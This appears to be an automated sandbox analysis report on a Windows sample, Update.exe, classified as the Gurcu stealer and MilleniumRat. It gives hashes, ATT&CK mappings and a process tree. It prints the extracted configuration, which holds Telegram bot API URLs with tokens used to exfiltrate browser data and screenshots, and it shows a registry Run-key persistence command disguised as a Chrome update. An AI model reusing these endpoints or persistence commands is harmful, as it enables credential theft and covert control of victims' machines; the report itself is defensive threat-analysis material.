gurcu | e0338c845a876d585eceb084311e84f3becd6fa6f0851567ba2c5f00eeaf4ecf

Resubmissions

16-07-2024 14:40

240716-r1xa6szgmb 10

Analysis

max time kernel
67s
max time network
69s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
16-07-2024 14:40

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General

Target

Update.exe
Size

5.6MB
MD5

3d3c49dd5d13a242b436e0a065cd6837
SHA1

e38a773ffa08452c449ca5a880d89cfad24b6f1b
SHA256

e0338c845a876d585eceb084311e84f3becd6fa6f0851567ba2c5f00eeaf4ecf
SHA512

dd0e590310392b0543d47a2d24d55f6f091ba59acc0d7ea533039ffb48f1b8938587889bcfa19b0538a62ba26fcde2172253860ceab34af40fd7bf65b6587b00
SSDEEP

98304:nsl27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6UcR6s:nPOuK6mn9NzgMoYkSIvUcwti7TQlvciY

Score

10^/10

gurcu milleniumrat persistence rat spyware stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendDocument?chat_id=-1002245526003&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0%20kb

https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendMessage?chat_id=-1002245526003

https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/getUpdates?offset=-

https://api.telegram.org/bot7457548429:AAGMvKYWjBbGXayEC5uoksRl1i2BIy7ylDg/sendMessage?chat_id=6024388590

https://api.telegram.org/bot7457548429:AAGMvKYWjBbGXayEC5uoksRl1i2BIy7ylDg/getUpdates?offset=-

https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendDocument?chat_id=-1002245526003&caption=%F0%9F%93%B8Screenshot%20take

Signatures

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu
MilleniumRat
MilleniumRat is a remote access trojan written in C#.
rat stealer milleniumrat

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation	Update.exe
Key value queried	\REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation	Update.exe

Executes dropped EXE 1 IoCs

pid	Process
2796	Update.exe

Loads dropped DLL 2 IoCs

pid	Process
2416	Update.exe
2796	Update.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ChromeUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\GoogleChromeUpdateLog\\Update.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
12	raw.githubusercontent.com
15	raw.githubusercontent.com
36	raw.githubusercontent.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com
34	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Update.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	Update.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2708	timeout.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
2372	tasklist.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3568	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2416	Update.exe
2416	Update.exe
2416	Update.exe
2416	Update.exe
2416	Update.exe
2416	Update.exe
2416	Update.exe
2416	Update.exe
2416	Update.exe
2416	Update.exe
2416	Update.exe
2416	Update.exe
2416	Update.exe
2416	Update.exe
2416	Update.exe
2416	Update.exe
2416	Update.exe
2416	Update.exe
2416	Update.exe
2416	Update.exe
2416	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe
2796	Update.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2416	Update.exe
Token: SeDebugPrivilege	2372	tasklist.exe
Token: SeDebugPrivilege	2796	Update.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2796	Update.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2416 wrote to memory of 4300	2416	Update.exe	88
PID 2416 wrote to memory of 4300	2416	Update.exe	88
PID 4300 wrote to memory of 2372	4300	cmd.exe	90
PID 4300 wrote to memory of 2372	4300	cmd.exe	90
PID 4300 wrote to memory of 2448	4300	cmd.exe	91
PID 4300 wrote to memory of 2448	4300	cmd.exe	91
PID 4300 wrote to memory of 2708	4300	cmd.exe	92
PID 4300 wrote to memory of 2708	4300	cmd.exe	92
PID 4300 wrote to memory of 2796	4300	cmd.exe	93
PID 4300 wrote to memory of 2796	4300	cmd.exe	93
PID 2796 wrote to memory of 3068	2796	Update.exe	94
PID 2796 wrote to memory of 3068	2796	Update.exe	94
PID 3068 wrote to memory of 3568	3068	cmd.exe	96
PID 3068 wrote to memory of 3568	3068	cmd.exe	96

C:\Users\Admin\AppData\Local\Temp\Update.exe
"C:\Users\Admin\AppData\Local\Temp\Update.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpBB12.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpBB12.tmp.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4300
- - C:\Windows\system32\tasklist.exe
    Tasklist /fi "PID eq 2416"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:2372
- - C:\Windows\system32\find.exe
    find ":"
    3⤵
    PID:2448
- - C:\Windows\system32\timeout.exe
    Timeout /T 1 /Nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2708
- - C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe
    "C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2796
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3068
    - - C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:3568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Update.exe.log

Filesize
1KB

MD5
9e8cab527db784fa373e8b3ee2809029

SHA1
b1fea2a154908c1a0bfc476f0279f44dbb89249c

SHA256
84c010466cd6465eec0ac04f1aa37652cf4ed3532e7981ac0fb59df855d7cc4c

SHA512
f238dd04fa22540bd10803fd59d49944511df1b340b4a68f0c096c45498e6c58218d07768ad0572ed8886bb5b20053e42adf235447065bbbfa0e6d9fd77e9cfc

Download Submit
C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

Filesize
1.7MB

MD5
65ccd6ecb99899083d43f7c24eb8f869

SHA1
27037a9470cc5ed177c0b6688495f3a51996a023

SHA256
aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

SHA512
533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpBB12.tmp.bat

Filesize
256B

MD5
7d481f457547444a8cc2cdc615b4fb03

SHA1
f90185a6579a81dcee33f89a2ccaac89cf6a3b69

SHA256
050a73fb402038e73dc388a8ab31be14a0ca11fe4ef2f0333ef1f8e9fe142187

SHA512
7f2e4c986fafb169e59f3c231157850566e825eef6cce45e687fffbb0f0a80adba35a52118ab72bdd387945c88f8f0c6fd561c6c5dc013b18da30ef276df561b

Download Submit
C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe

Filesize
5.6MB

MD5
3d3c49dd5d13a242b436e0a065cd6837

SHA1
e38a773ffa08452c449ca5a880d89cfad24b6f1b

SHA256
e0338c845a876d585eceb084311e84f3becd6fa6f0851567ba2c5f00eeaf4ecf

SHA512
dd0e590310392b0543d47a2d24d55f6f091ba59acc0d7ea533039ffb48f1b8938587889bcfa19b0538a62ba26fcde2172253860ceab34af40fd7bf65b6587b00

Download Submit
memory/2416-7-0x00007FF8ED2E0000-0x00007FF8EDDA1000-memory.dmp

Filesize
10.8MB

Download
memory/2416-8-0x000001A214B30000-0x000001A214B4E000-memory.dmp

Filesize
120KB

Download
memory/2416-12-0x00007FF8ED2E0000-0x00007FF8EDDA1000-memory.dmp

Filesize
10.8MB

Download
memory/2416-0-0x00007FF8ED2E3000-0x00007FF8ED2E5000-memory.dmp

Filesize
8KB

Download
memory/2416-6-0x000001A22EBF0000-0x000001A22EC66000-memory.dmp

Filesize
472KB

Download
memory/2416-1-0x000001A214160000-0x000001A214700000-memory.dmp

Filesize
5.6MB

Download
memory/2796-20-0x00000218EEC60000-0x00000218EEC6A000-memory.dmp

Filesize
40KB

Download
memory/2796-21-0x00000218EECE0000-0x00000218EED4A000-memory.dmp

Filesize
424KB

Download
memory/2796-24-0x00000218EEFD0000-0x00000218EF00A000-memory.dmp

Filesize
232KB

Download
memory/2796-25-0x00000218EDA70000-0x00000218EDA96000-memory.dmp

Filesize
152KB

Download
memory/2796-43-0x00000218EF010000-0x00000218EF022000-memory.dmp

Filesize
72KB

Download
memory/2796-47-0x00000218EFF60000-0x00000218F000A000-memory.dmp

Filesize
680KB

Download